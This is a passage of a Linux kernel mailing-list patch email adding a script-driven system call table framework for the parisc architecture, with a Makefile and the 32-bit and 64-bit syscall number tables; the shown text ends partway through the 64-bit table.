        bh=CuRaA0dwKFcIgPmD9CsD8jRtJUmsIZgT3PDPDMjnmvg=;
        b=D7ouZBSzSeGTQYvb+bv0oGCoQt0aH11Cj5+44oz7HWly5ZiXVRazfCeR8FrpWO2Kq1
         m5HKZpMCWQZIFilJ5PaWBk3JJliFRU0ZB2EvRpKAt7wRWNAelF2rzKfAxE/eh/cL9CZZ
         wRyuhK+X44XbHCQYlf4TIvU0DzRozirkHRIto=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=CuRaA0dwKFcIgPmD9CsD8jRtJUmsIZgT3PDPDMjnmvg=;
        b=G6kkqHSw+j1HQ6HFa1WsS96f6ki4/Al5un4cFcNQaKTNs/SXJUlnKNjnhtMvqjz4nQ
         U+8qbFE+vxWzzWsJLkyUGOUM2evAd9cpxtDhhrp7MkQxNx4vYFADTBImUBKchD5Qne/I
         KR+pOm6GTzAn+cBM6SiSbZf97iQunBtvSyVZznyG30+3JHhvlxRZhW6VOfr3IcRnuQpW
         WIMIP0zZ6JwvQc8PsvPN9FJ2m4Pof4UWuo19qNNKiICjNS10uJ8RAIvTDS0cD2cBCsht
         soYZTxksaxrzikpnHEORINsJHHvJL0iIWTdPVvYmaU4vXkSZzwINAj4M7jnGdZ31gF1W
         H24A==
X-Gm-Message-State: APzg51AH4X6l9RypP6Hgf8WWsNPN0zmXVjl63UPeMqDMmIChx0d69F9y
        7+ZfRMez1sDTiJauEDqRXUso+A==
X-Google-Smtp-Source: ANB0VdaI1NoO52V8aZ75AY49N2BdTz0q4kh16/t3CirmWhw1a0ztLscMngiC9TjD4c8wnixQskdssw==
X-Received: by 2002:a17:902:7586:: with SMTP id j6-v6mr10953454pll.295.1536913656181;
        Fri, 14 Sep 2018 01:27:36 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([49.207.60.83])
        by smtp.gmail.com with ESMTPSA id q80-v6sm8919855pfd.15.2018.09.14.01.27.30
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Fri, 14 Sep 2018 01:27:35 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536913603-4584-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2870557 gmane.linux.ports.parisc:28939 gmane.linux.kernel.year-2038:3309 gmane.linux.kernel.cross-arch:46412
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2870557>

The system call tables are in different format in all
architecture and it will be difficult to manually add or
modify the system calls in the respective files. To make
it easy by keeping a script and which'll generate the
header file and syscall table file so this change will
unify them across all architectures.

The system call table generation script is added in
syscalls directory which contain the script to generate
both uapi header file system call table generation file
and syscall_32/64.tbl file which'll be the input for the
scripts.

syscall_32/64.tbl contains the list of available system calls
along with system call number and corresponding entry point.
Add a new system call in this architecture will be possible
by adding new entry in the syscall_32/64.tbl file.

Adding a new table entry consisting of:
        - System call number.
        - ABI.
        - System call name.
        - Entry point name.
	- Compat entry name, if required.

syscallhdr.sh and syscalltbl.sh will generate uapi header-
unistd_32/64.h and syscall_table_32/64/c32.h files respectively.
File syscall_table_32/64/c32.h is included by syscall.S - the
real system call table. Both .sh files will parse the content
syscall.tbl to generate the header and table files.

ARM, s390 and x86 architecuture does have the similar support.
I leverage their implementation to come up with a generic
solution.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/kernel/syscalls/Makefile       |  52 +++++
 arch/parisc/kernel/syscalls/syscall_32.tbl | 358 +++++++++++++++++++++++++++++
 arch/parisc/kernel/syscalls/syscall_64.tbl | 357 ++++++++++++++++++++++++++++
 arch/parisc/kernel/syscalls/syscallhdr.sh  |  38 +++
 arch/parisc/kernel/syscalls/syscalltbl.sh  |  36 +++
 5 files changed, 841 insertions(+)
 create mode 100644 arch/parisc/kernel/syscalls/Makefile
 create mode 100644 arch/parisc/kernel/syscalls/syscall_32.tbl
 create mode 100644 arch/parisc/kernel/syscalls/syscall_64.tbl
 create mode 100644 arch/parisc/kernel/syscalls/syscallhdr.sh
 create mode 100644 arch/parisc/kernel/syscalls/syscalltbl.sh

diff --git a/arch/parisc/kernel/syscalls/Makefile b/arch/parisc/kernel/syscalls/Makefile
new file mode 100644
index 0000000..12d1def
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/Makefile
@@ -0,0 +1,52 @@
+# SPDX-License-Identifier: GPL-2.0
+out := arch/$(SRCARCH)/include/generated/asm
+uapi := arch/$(SRCARCH)/include/generated/uapi/asm
+
+_dummy := $(shell [ -d '$(uapi)' ] || mkdir -p '$(uapi)') \
+	  $(shell [ -d '$(out)' ] || mkdir -p '$(out)')
+
+syscall32 := $(srctree)/$(src)/syscall_32.tbl
+syscall64 := $(srctree)/$(src)/syscall_64.tbl
+
+syshdr := $(srctree)/$(src)/syscallhdr.sh
+systbl := $(srctree)/$(src)/syscalltbl.sh
+
+quiet_cmd_syshdr = SYSHDR  $@
+      cmd_syshdr = $(CONFIG_SHELL) '$(syshdr)' '$<' '$@'  \
+		   '$(syshdr_abi_$(basetarget))'          \
+		   '$(syshdr_pfx_$(basetarget))'          \
+		   '$(syshdr_offset_$(basetarget))'
+
+quiet_cmd_systbl = SYSTBL  $@
+      cmd_systbl = $(CONFIG_SHELL) '$(systbl)' '$<' '$@'  \
+		   '$(systbl_abi_$(basetarget))'
+
+syshdr_offset_unistd_32 := __NR_Linux
+$(uapi)/unistd_32.h: $(syscall32) $(syshdr)
+	$(call if_changed,syshdr)
+
+syshdr_offset_unistd_64 := __NR_Linux
+$(uapi)/unistd_64.h: $(syscall64) $(syshdr)
+	$(call if_changed,syshdr)
+
+systbl_abi_syscall_table_32 := 32
+$(out)/syscall_table_32.h: $(syscall32) $(systbl)
+	$(call if_changed,systbl)
+
+systbl_abi_syscall_table_64 := 64
+$(out)/syscall_table_64.h: $(syscall64) $(systbl)
+	$(call if_changed,systbl)
+
+systbl_abi_syscall_table_c32 := c32
+$(out)/syscall_table_c32.h: $(syscall32) $(systbl)
+	$(call if_changed,systbl)
+
+uapisyshdr-y			+= unistd_32.h unistd_64.h
+syshdr-y			+= syscall_table_32.h syscall_table_64.h syscall_table_c32.h
+
+targets	+= $(uapisyshdr-y) $(syshdr-y)
+
+PHONY += all
+all: $(addprefix $(uapi)/,$(uapisyshdr-y))
+all: $(addprefix $(out)/,$(syshdr-y))
+	@:
diff --git a/arch/parisc/kernel/syscalls/syscall_32.tbl b/arch/parisc/kernel/syscalls/syscall_32.tbl
new file mode 100644
index 0000000..637abc8
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscall_32.tbl
@@ -0,0 +1,358 @@
+#
+# 32-bit system call numbers and entry vectors
+#
+# The format is:
+# <number> <abi> <name> <entry point> <compat entry point>
+#
+# The abi is always "common" for this file.
+#
+0       common  restart_syscall                 sys_restart_syscall             
+1       common  exit                            sys_exit                        
+2       common  fork                            sys_fork_wrapper                
+3       common  read                            sys_read                        
+4       common  write                           sys_write                       
+5       common  open                            sys_open                        compat_sys_open
+6       common  close                           sys_close                       
+7       common  waitpid                         sys_waitpid                     
+8       common  creat                           sys_creat                       
+9       common  link                            sys_link                        
+10      common  unlink                          sys_unlink                      
+11      common  execve                          sys_execve                      compat_sys_execve
+12      common  chdir                           sys_chdir                       
+13      common  time                            sys_time                        compat_sys_time
+14      common  mknod                           sys_mknod                       
+15      common  chmod                           sys_chmod                       
+16      common  lchown                          sys_lchown                      
+17      common  socket                          sys_socket                      
+18      common  stat                            sys_newstat                     compat_sys_newstat
+19      common  lseek                           sys_lseek                       compat_sys_lseek
+20      common  getpid                          sys_getpid                      
+21      common  mount                           sys_mount                       compat_sys_mount
+22      common  bind                            sys_bind                        
+23      common  setuid                          sys_setuid                      
+24      common  getuid                          sys_getuid                      
+25      common  stime                           sys_stime                       compat_sys_stime
+26      common  ptrace                          sys_ptrace                      compat_sys_ptrace
+27      common  alarm                           sys_alarm                       
+28      common  fstat                           sys_newfstat                    compat_sys_newfstat
+29      common  pause                           sys_pause                       
+30      common  utime                           sys_utime                       compat_sys_utime
+31      common  connect                         sys_connect                     
+32      common  listen                          sys_listen                      
+33      common  access                          sys_access                      
+34      common  nice                            sys_nice                        
+35      common  accept                          sys_accept                      
+36      common  sync                            sys_sync                        
+37      common  kill                            sys_kill                        
+38      common  rename                          sys_rename                      
+39      common  mkdir                           sys_mkdir                       
+40      common  rmdir                           sys_rmdir                       
+41      common  dup                             sys_dup                         
+42      common  pipe                            sys_pipe                        
+43      common  times                           sys_times                       compat_sys_times
+44      common  getsockname                     sys_getsockname                 
+45      common  brk                             sys_brk                         
+46      common  setgid                          sys_setgid                      
+47      common  getgid                          sys_getgid                      
+48      common  signal                          sys_signal                      
+49      common  geteuid                         sys_geteuid                     
+50      common  getegid                         sys_getegid                     
+51      common  acct                            sys_acct                        
+52      common  umount2                         sys_umount                      
+53      common  getpeername                     sys_getpeername                 
+54      common  ioctl                           sys_ioctl                       compat_sys_ioctl
+55      common  fcntl                           sys_fcntl                       compat_sys_fcntl
+56      common  socketpair                      sys_socketpair                  
+57      common  setpgid                         sys_setpgid                     
+58      common  send                            sys_send                        
+59      common  uname                           sys_newuname                    
+60      common  umask                           sys_umask                       
+61      common  chroot                          sys_chroot                      
+62      common  ustat                           sys_ustat                       compat_sys_ustat
+63      common  dup2                            sys_dup2                        
+64      common  getppid                         sys_getppid                     
+65      common  getpgrp                         sys_getpgrp                     
+66      common  setsid                          sys_setsid                      
+67      common  pivot_root                      sys_pivot_root                  
+68      common  sgetmask                        sys_sgetmask                    sys32_unimplemented
+69      common  ssetmask                        sys_ssetmask                    sys32_unimplemented
+70      common  setreuid                        sys_setreuid                    
+71      common  setregid                        sys_setregid                    
+72      common  mincore                         sys_mincore                     
+73      common  sigpending                      sys_sigpending                  compat_sys_sigpending
+74      common  sethostname                     sys_sethostname                 
+75      common  setrlimit                       sys_setrlimit                   compat_sys_setrlimit
+76      common  getrlimit                       sys_getrlimit                   compat_sys_getrlimit
+77      common  getrusage                       sys_getrusage                   compat_sys_getrusage
+78      common  gettimeofday                    sys_gettimeofday                compat_sys_gettimeofday
+79      common  settimeofday                    sys_settimeofday                compat_sys_settimeofday
+80      common  getgroups                       sys_getgroups                   
+81      common  setgroups                       sys_setgroups                   
+82      common  sendto                          sys_sendto                      
+83      common  symlink                         sys_symlink                     
+84      common  lstat                           sys_newlstat                    compat_sys_newlstat
+85      common  readlink                        sys_readlink                    
+86      common  uselib                          sys_ni_syscall                  
+87      common  swapon                          sys_swapon                      
+88      common  reboot                          sys_reboot                      
+89      common  mmap2                           sys_mmap2                       
+90      common  mmap                            sys_mmap                        
+91      common  munmap                          sys_munmap                      
+92      common  truncate                        sys_truncate                    compat_sys_truncate
+93      common  ftruncate                       sys_ftruncate                   compat_sys_ftruncate
+94      common  fchmod                          sys_fchmod                      
+95      common  fchown                          sys_fchown                      
+96      common  getpriority                     sys_getpriority                 
+97      common  setpriority                     sys_setpriority                 
+98      common  recv                            sys_recv                        
+99      common  statfs                          sys_statfs                      compat_sys_statfs
+100     common  fstatfs                         sys_fstatfs                     compat_sys_fstatfs
+101     common  stat64                          sys_stat64                      
+102     common  socketcall                      sys_ni_syscall                  
+103     common  syslog                          sys_syslog                      
+104     common  setitimer                       sys_setitimer                   compat_sys_setitimer
+105     common  getitimer                       sys_getitimer                   compat_sys_getitimer
+106     common  capget                          sys_capget                      
+107     common  capset                          sys_capset                      
+108     common  pread64                         sys_pread64                     parisc_pread64
+109     common  pwrite64                        sys_pwrite64                    parisc_pwrite64
+110     common  getcwd                          sys_getcwd                      
+111     common  vhangup                         sys_vhangup                     
+112     common  fstat64                         sys_fstat64                     
+113     common  vfork                           sys_vfork_wrapper               
+114     common  wait4                           sys_wait4                       compat_sys_wait4
+115     common  swapoff                         sys_swapoff                     
+116     common  sysinfo                         sys_sysinfo                     compat_sys_sysinfo
+117     common  shutdown                        sys_shutdown                    
+118     common  fsync                           sys_fsync                       
+119     common  madvise                         sys_madvise                     
+120     common  clone                           sys_clone_wrapper               
+121     common  setdomainname                   sys_setdomainname               
+122     common  sendfile                        sys_sendfile                    compat_sys_sendfile
+123     common  recvfrom                        sys_recvfrom                    
+124     common  adjtimex                        sys_adjtimex                    compat_sys_adjtimex
+125     common  mprotect                        sys_mprotect                    
+126     common  sigprocmask                     sys_sigprocmask                 compat_sys_sigprocmask
+127     common  create_module                   sys_ni_syscall                  
+128     common  init_module                     sys_init_module                 
+129     common  delete_module                   sys_delete_module               
+#130     common  get_kernel_syms                 sys_get_kernel_syms             
+131     common  quotactl                        sys_quotactl                    
+132     common  getpgid                         sys_getpgid                     
+133     common  fchdir                          sys_fchdir                      
+134     common  bdflush                         sys_bdflush                     
+135     common  sysfs                           sys_sysfs                       
+136     common  personality                     sys_personality                 parisc_personality
+137     common  afs_syscall                     sys_ni_syscall                  
+138     common  setfsuid                        sys_setfsuid                    
+139     common  setfsgid                        sys_setfsgid                    
+140     common  _llseek                         sys_llseek                      
+141     common  getdents                        sys_getdents                    compat_sys_getdents
+142     common  _newselect                      sys_select                      compat_sys_select
+143     common  flock                           sys_flock                       
+144     common  msync                           sys_msync                       
+145     common  readv                           sys_readv                       compat_sys_readv
+146     common  writev                          sys_writev                      compat_sys_writev
+147     common  getsid                          sys_getsid                      
+148     common  fdatasync                       sys_fdatasync                   
+149     common  _sysctl                         sys_sysctl                      compat_sys_sysctl
+150     common  mlock                           sys_mlock                       
+151     common  munlock                         sys_munlock                     
+152     common  mlockall                        sys_mlockall                    
+153     common  munlockall                      sys_munlockall                  
+154     common  sched_setparam                  sys_sched_setparam              
+155     common  sched_getparam                  sys_sched_getparam              
+156     common  sched_setscheduler              sys_sched_setscheduler          
+157     common  sched_getscheduler              sys_sched_getscheduler          
+158     common  sched_yield                     sys_sched_yield                 
+159     common  sched_get_priority_max          sys_sched_get_priority_max      
+160     common  sched_get_priority_min          sys_sched_get_priority_min      
+161     common  sched_rr_get_interval           sys_sched_rr_get_interval       compat_sys_sched_rr_get_interval
+162     common  nanosleep                       sys_nanosleep                   compat_sys_nanosleep
+163     common  mremap                          sys_mremap                      
+164     common  setresuid                       sys_setresuid                   
+165     common  getresuid                       sys_getresuid                   
+166     common  sigaltstack                     sys_sigaltstack                 compat_sys_sigaltstack
+167     common  query_module                    sys_ni_syscall                  
+168     common  poll                            sys_poll                        
+169     common  nfsservctl                      sys_ni_syscall                  
+170     common  setresgid                       sys_setresgid                   
+171     common  getresgid                       sys_getresgid                   
+172     common  prctl                           sys_prctl                       
+173     common  rt_sigreturn                    sys_rt_sigreturn                
+174     common  rt_sigaction                    sys_rt_sigaction                compat_sys_rt_sigaction
+175     common  rt_sigprocmask                  sys_rt_sigprocmask              compat_sys_rt_sigprocmask
+176     common  rt_sigpending                   sys_rt_sigpending               compat_sys_rt_sigpending
+177     common  rt_sigtimedwait                 sys_rt_sigtimedwait             compat_sys_rt_sigtimedwait
+178     common  rt_sigqueueinfo                 sys_rt_sigqueueinfo             compat_sys_rt_sigqueueinfo
+179     common  rt_sigsuspend                   sys_rt_sigsuspend               compat_sys_rt_sigsuspend
+180     common  chown                           sys_chown                       
+181     common  setsockopt                      sys_setsockopt                  compat_sys_setsockopt
+182     common  getsockopt                      sys_getsockopt                  compat_sys_getsockopt
+183     common  sendmsg                         sys_sendmsg                     compat_sys_sendmsg
+184     common  recvmsg                         sys_recvmsg                     compat_sys_recvmsg
+185     common  semop                           sys_semop                       
+186     common  semget                          sys_semget                      
+187     common  semctl                          sys_semctl                      compat_sys_semctl
+188     common  msgsnd                          sys_msgsnd                      compat_sys_msgsnd
+189     common  msgrcv                          sys_msgrcv                      compat_sys_msgrcv
+190     common  msgget                          sys_msgget                      
+191     common  msgctl                          sys_msgctl                      compat_sys_msgctl
+192     common  shmat                           sys_shmat                       compat_sys_shmat
+193     common  shmdt                           sys_shmdt                       
+194     common  shmget                          sys_shmget                      
+195     common  shmctl                          sys_shmctl                      compat_sys_shmctl
+196     common  getpmsg                         sys_ni_syscall                  
+197     common  putpmsg                         sys_ni_syscall                  
+198     common  lstat64                         sys_lstat64                     
+199     common  truncate64                      sys_truncate64                  parisc_truncate64
+200     common  ftruncate64                     sys_ftruncate64                 parisc_ftruncate64
+201     common  getdents64                      sys_getdents64                  
+202     common  fcntl64                         sys_fcntl64                     compat_sys_fcntl64
+203     common  attrctl                         sys_ni_syscall                  
+204     common  acl_get                         sys_ni_syscall                  
+205     common  acl_set                         sys_ni_syscall                  
+206     common  gettid                          sys_gettid                      
+207     common  readahead                       sys_readahead                   parisc_readahead
+208     common  tkill                           sys_tkill                       
+209     common  sendfile64                      sys_sendfile64                  compat_sys_sendfile64
+210     common  futex                           sys_futex                       compat_sys_futex
+211     common  sched_setaffinity               sys_sched_setaffinity           compat_sys_sched_setaffinity
+212     common  sched_getaffinity               sys_sched_getaffinity           compat_sys_sched_getaffinity
+213     common  set_thread_area                 sys_ni_syscall                  
+214     common  get_thread_area                 sys_ni_syscall                  
+215     common  io_setup                        sys_io_setup                    compat_sys_io_setup
+216     common  io_destroy                      sys_io_destroy                  
+217     common  io_getevents                    sys_io_getevents                compat_sys_io_getevents
+218     common  io_submit                       sys_io_submit                   compat_sys_io_submit
+219     common  io_cancel                       sys_io_cancel                   
+220     common  alloc_hugepages                 sys_ni_syscall                  
+221     common  free_hugepages                  sys_ni_syscall                  
+222     common  exit_group                      sys_exit_group                  
+223     common  lookup_dcookie                  sys_lookup_dcookie              compat_sys_lookup_dcookie
+224     common  epoll_create                    sys_epoll_create                
+225     common  epoll_ctl                       sys_epoll_ctl                   
+226     common  epoll_wait                      sys_epoll_wait                  
+227     common  remap_file_pages                sys_remap_file_pages            
+228     common  semtimedop                      sys_semtimedop                  compat_sys_semtimedop
+229     common  mq_open                         sys_mq_open                     compat_sys_mq_open
+230     common  mq_unlink                       sys_mq_unlink                   
+231     common  mq_timedsend                    sys_mq_timedsend                compat_sys_mq_timedsend
+232     common  mq_timedreceive                 sys_mq_timedreceive             compat_sys_mq_timedreceive
+233     common  mq_notify                       sys_mq_notify                   compat_sys_mq_notify
+234     common  mq_getsetattr                   sys_mq_getsetattr               compat_sys_mq_getsetattr
+235     common  waitid                          sys_waitid                      compat_sys_waitid
+236     common  fadvise64_64                    sys_fadvise64_64                parisc_fadvise64_64
+237     common  set_tid_address                 sys_set_tid_address             
+238     common  setxattr                        sys_setxattr                    
+239     common  lsetxattr                       sys_lsetxattr                   
+240     common  fsetxattr                       sys_fsetxattr                   
+241     common  getxattr                        sys_getxattr                    
+242     common  lgetxattr                       sys_lgetxattr                   
+243     common  fgetxattr                       sys_fgetxattr                   
+244     common  listxattr                       sys_listxattr                   
+245     common  llistxattr                      sys_llistxattr                  
+246     common  flistxattr                      sys_flistxattr                  
+247     common  removexattr                     sys_removexattr                 
+248     common  lremovexattr                    sys_lremovexattr                
+249     common  fremovexattr                    sys_fremovexattr                
+250     common  timer_create                    sys_timer_create                compat_sys_timer_create
+251     common  timer_settime                   sys_timer_settime               compat_sys_timer_settime
+252     common  timer_gettime                   sys_timer_gettime               compat_sys_timer_gettime
+253     common  timer_getoverrun                sys_timer_getoverrun            
+254     common  timer_delete                    sys_timer_delete                
+255     common  clock_settime                   sys_clock_settime               compat_sys_clock_settime
+256     common  clock_gettime                   sys_clock_gettime               compat_sys_clock_gettime
+257     common  clock_getres                    sys_clock_getres                compat_sys_clock_getres
+258     common  clock_nanosleep                 sys_clock_nanosleep             compat_sys_clock_nanosleep
+259     common  tgkill                          sys_tgkill                      
+260     common  mbind                           sys_mbind                       compat_sys_mbind
+261     common  get_mempolicy                   sys_get_mempolicy               compat_sys_get_mempolicy
+262     common  set_mempolicy                   sys_set_mempolicy               compat_sys_set_mempolicy
+263     common  vserver                         sys_ni_syscall                  
+264     common  add_key                         sys_add_key                     
+265     common  request_key                     sys_request_key                 
+266     common  keyctl                          sys_keyctl                      compat_sys_keyctl
+267     common  ioprio_set                      sys_ioprio_set                  
+268     common  ioprio_get                      sys_ioprio_get                  
+269     common  inotify_init                    sys_inotify_init                
+270     common  inotify_add_watch               sys_inotify_add_watch           
+271     common  inotify_rm_watch                sys_inotify_rm_watch            
+272     common  migrate_pages                   sys_migrate_pages               
+273     common  pselect6                        sys_pselect6                    compat_sys_pselect6
+274     common  ppoll                           sys_ppoll                       compat_sys_ppoll
+275     common  openat                          sys_openat                      compat_sys_openat
+276     common  mkdirat                         sys_mkdirat                     
+277     common  mknodat                         sys_mknodat                     
+278     common  fchownat                        sys_fchownat                    
+279     common  futimesat                       sys_futimesat                   compat_sys_futimesat
+280     common  fstatat64                       sys_fstatat64                   
+281     common  unlinkat                        sys_unlinkat                    
+282     common  renameat                        sys_renameat                    
+283     common  linkat                          sys_linkat                      
+284     common  symlinkat                       sys_symlinkat                   
+285     common  readlinkat                      sys_readlinkat                  
+286     common  fchmodat                        sys_fchmodat                    
+287     common  faccessat                       sys_faccessat                   
+288     common  unshare                         sys_unshare                     
+289     common  set_robust_list                 sys_set_robust_list             compat_sys_set_robust_list
+290     common  get_robust_list                 sys_get_robust_list             compat_sys_get_robust_list
+291     common  splice                          sys_splice                      
+292     common  sync_file_range                 sys_sync_file_range             parisc_sync_file_range
+293     common  tee                             sys_tee                         
+294     common  vmsplice                        sys_vmsplice                    compat_sys_vmsplice
+295     common  move_pages                      sys_move_pages                  compat_sys_move_pages
+296     common  getcpu                          sys_getcpu                      
+297     common  epoll_pwait                     sys_epoll_pwait                 compat_sys_epoll_pwait
+298     common  statfs64                        sys_statfs64                    compat_sys_statfs64
+299     common  fstatfs64                       sys_fstatfs64                   compat_sys_fstatfs64
+300     common  kexec_load                      sys_kexec_load                  compat_sys_kexec_load
+301     common  utimensat                       sys_utimensat                   compat_sys_utimensat
+302     common  signalfd                        sys_signalfd                    compat_sys_signalfd
+303     common  timerfd                         sys_ni_syscall                  
+304     common  eventfd                         sys_eventfd                     
+305     common  fallocate                       sys_fallocate                   parisc_fallocate
+306     common  timerfd_create                  sys_timerfd_create              
+307     common  timerfd_settime                 sys_timerfd_settime             compat_sys_timerfd_settime
+308     common  timerfd_gettime                 sys_timerfd_gettime             compat_sys_timerfd_gettime
+309     common  signalfd4                       sys_signalfd4                   compat_sys_signalfd4
+310     common  eventfd2                        sys_eventfd2                    
+311     common  epoll_create1                   sys_epoll_create1               
+312     common  dup3                            sys_dup3                        
+313     common  pipe2                           sys_pipe2                       
+314     common  inotify_init1                   sys_inotify_init1               
+315     common  preadv                          sys_preadv                      compat_sys_preadv
+316     common  pwritev                         sys_pwritev                     compat_sys_pwritev
+317     common  rt_tgsigqueueinfo               sys_rt_tgsigqueueinfo           compat_sys_rt_tgsigqueueinfo
+318     common  perf_event_open                 sys_perf_event_open             
+319     common  recvmmsg                        sys_recvmmsg                    compat_sys_recvmmsg
+320     common  accept4                         sys_accept4                     
+321     common  prlimit64                       sys_prlimit64                   
+322     common  fanotify_init                   sys_fanotify_init               
+323     common  fanotify_mark                   sys_fanotify_mark               sys32_fanotify_mark
+324     common  clock_adjtime                   sys_clock_adjtime               compat_sys_clock_adjtime
+325     common  name_to_handle_at               sys_name_to_handle_at           
+326     common  open_by_handle_at               sys_open_by_handle_at           compat_sys_open_by_handle_at
+327     common  syncfs                          sys_syncfs                      
+328     common  setns                           sys_setns                       
+329     common  sendmmsg                        sys_sendmmsg                    compat_sys_sendmmsg
+330     common  process_vm_readv                sys_process_vm_readv            compat_sys_process_vm_readv
+331     common  process_vm_writev               sys_process_vm_writev           compat_sys_process_vm_writev
+332     common  kcmp                            sys_kcmp                        
+333     common  finit_module                    sys_finit_module                
+334     common  sched_setattr                   sys_sched_setattr               
+335     common  sched_getattr                   sys_sched_getattr               
+336     common  utimes                          sys_utimes                      compat_sys_utimes
+337     common  renameat2                       sys_renameat2                   
+338     common  seccomp                         sys_seccomp                     
+339     common  getrandom                       sys_getrandom                   
+340     common  memfd_create                    sys_memfd_create                
+341     common  bpf                             sys_bpf                         
+342     common  execveat                        sys_execveat                    compat_sys_execveat
+343     common  membarrier                      sys_membarrier                  
+344     common  userfaultfd                     sys_userfaultfd                 
+345     common  mlock2                          sys_mlock2                      
+346     common  copy_file_range                 sys_copy_file_range             
+347     common  preadv2                         sys_preadv2                     compat_sys_preadv2
+348     common  pwritev2                        sys_pwritev2                    compat_sys_pwritev2
+349     common  statx                           sys_statx                       
diff --git a/arch/parisc/kernel/syscalls/syscall_64.tbl b/arch/parisc/kernel/syscalls/syscall_64.tbl
new file mode 100644
index 0000000..34f9191
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscall_64.tbl
@@ -0,0 +1,357 @@
+#
+# 64-bit system call numbers and entry vectors
+#
+# The format is:
+# <number> <abi> <name> <entry point>
+#
+# The abi is "common" for this file.
+#
+0       common  restart_syscall                 sys_restart_syscall
+1       common  exit                            sys_exit
+2       common  fork                            sys_fork_wrapper
+3       common  read                            sys_read
+4       common  write                           sys_write
+5       common  open                            sys_open
+6       common  close                           sys_close
+7       common  waitpid                         sys_waitpid
+8       common  creat                           sys_creat
+9       common  link                            sys_link
+10      common  unlink                          sys_unlink
+11      common  execve                          sys_execve
+12      common  chdir                           sys_chdir
+13      common  time                            sys_time
+14      common  mknod                           sys_mknod
+15      common  chmod                           sys_chmod
+16      common  lchown                          sys_lchown
+17      common  socket                          sys_socket
+18      common  stat                            sys_newstat
+19      common  lseek                           sys_lseek
+20      common  getpid                          sys_getpid
+21      common  mount                           sys_mount
+22      common  bind                            sys_bind
+23      common  setuid                          sys_setuid
+24      common  getuid                          sys_getuid
+25      common  stime                           sys_stime
+26      common  ptrace                          sys_ptrace
+27      common  alarm                           sys_alarm
+28      common  fstat                           sys_newfstat
+29      common  pause                           sys_pause
+30      common  utime                           sys_utime
+31      common  connect                         sys_connect
+32      common  listen                          sys_listen
+33      common  access                          sys_access
+34      common  nice                            sys_nice
+35      common  accept                          sys_accept
+36      common  sync                            sys_sync
+37      common  kill                            sys_kill
+38      common  rename                          sys_rename
+39      common  mkdir                           sys_mkdir
+40      common  rmdir                           sys_rmdir
+41      common  dup                             sys_dup
+42      common  pipe                            sys_pipe
+43      common  times                           sys_times
+44      common  getsockname                     sys_getsockname
+45      common  brk                             sys_brk
+46      common  setgid                          sys_setgid
+47      common  getgid                          sys_getgid
+48      common  signal                          sys_signal
+49      common  geteuid                         sys_geteuid
+50      common  getegid                         sys_getegid
+51      common  acct                            sys_acct
+52      common  umount2                         sys_umount
+53      common  getpeername                     sys_getpeername
+54      common  ioctl                           sys_ioctl
+55      common  fcntl                           sys_fcntl
+56      common  socketpair                      sys_socketpair
+57      common  setpgid                         sys_setpgid
+58      common  send                            sys_send
+59      common  uname                           sys_newuname
+60      common  umask                           sys_umask
+61      common  chroot                          sys_chroot
+62      common  ustat                           sys_ustat
+63      common  dup2                            sys_dup2
+64      common  getppid                         sys_getppid
+65      common  getpgrp                         sys_getpgrp
+66      common  setsid                          sys_setsid
+67      common  pivot_root                      sys_pivot_root
+68      common  sgetmask                        sys_sgetmask
+69      common  ssetmask                        sys_ssetmask
+70      common  setreuid                        sys_setreuid
+71      common  setregid                        sys_setregid
+72      common  mincore                         sys_mincore
+73      common  sigpending                      sys_sigpending
+74      common  sethostname                     sys_sethostname
+75      common  setrlimit                       sys_setrlimit
+76      common  getrlimit                       sys_getrlimit
+77      common  getrusage                       sys_getrusage
+78      common  gettimeofday                    sys_gettimeofday
+79      common  settimeofday                    sys_settimeofday
+80      common  getgroups                       sys_getgroups
+81      common  setgroups                       sys_setgroups
+82      common  sendto                          sys_sendto
+83      common  symlink                         sys_symlink
+84      common  lstat                           sys_newlstat
+85      common  readlink                        sys_readlink
+86      common  uselib                          sys_ni_syscall
+87      common  swapon                          sys_swapon
+88      common  reboot                          sys_reboot
+89      common  mmap2                           sys_mmap2
+90      common  mmap                            sys_mmap
+91      common  munmap                          sys_munmap
+92      common  truncate                        sys_truncate
+93      common  ftruncate                       sys_ftruncate
+94      common  fchmod                          sys_fchmod
+95      common  fchown                          sys_fchown
+96      common  getpriority                     sys_getpriority
+97      common  setpriority                     sys_setpriority
+98      common  recv                            sys_recv
+99      common  statfs                          sys_statfs
+100     common  fstatfs                         sys_fstatfs
+101     common  stat64                          sys_stat64
+102     common  socketcall                      sys_ni_syscall
+103     common  syslog                          sys_syslog
+104     common  setitimer                       sys_setitimer
+105     common  getitimer                       sys_getitimer
+106     common  capget                          sys_capget
+107     common  capset                          sys_capset
+108     common  pread64                         sys_pread64
+109     common  pwrite64                        sys_pwrite64
+110     common  getcwd                          sys_getcwd
+111     common  vhangup                         sys_vhangup
+112     common  fstat64                         sys_fstat64
+113     common  vfork                           sys_vfork_wrapper
+114     common  wait4                           sys_wait4
+115     common  swapoff                         sys_swapoff
+116     common  sysinfo                         sys_sysinfo
+117     common  shutdown                        sys_shutdown
+118     common  fsync                           sys_fsync
+119     common  madvise                         sys_madvise
+120     common  clone                           sys_clone_wrapper
+121     common  setdomainname                   sys_setdomainname
+122     common  sendfile                        sys_sendfile
+123     common  recvfrom                        sys_recvfrom
+124     common  adjtimex                        sys_adjtimex
+125     common  mprotect                        sys_mprotect
+126     common  sigprocmask                     sys_sigprocmask
+127     common  create_module                   sys_ni_syscall
+128     common  init_module                     sys_init_module
+129     common  delete_module                   sys_delete_module
+131     common  quotactl                        sys_quotactl
+132     common  getpgid                         sys_getpgid
+133     common  fchdir                          sys_fchdir
+134     common  bdflush                         sys_bdflush
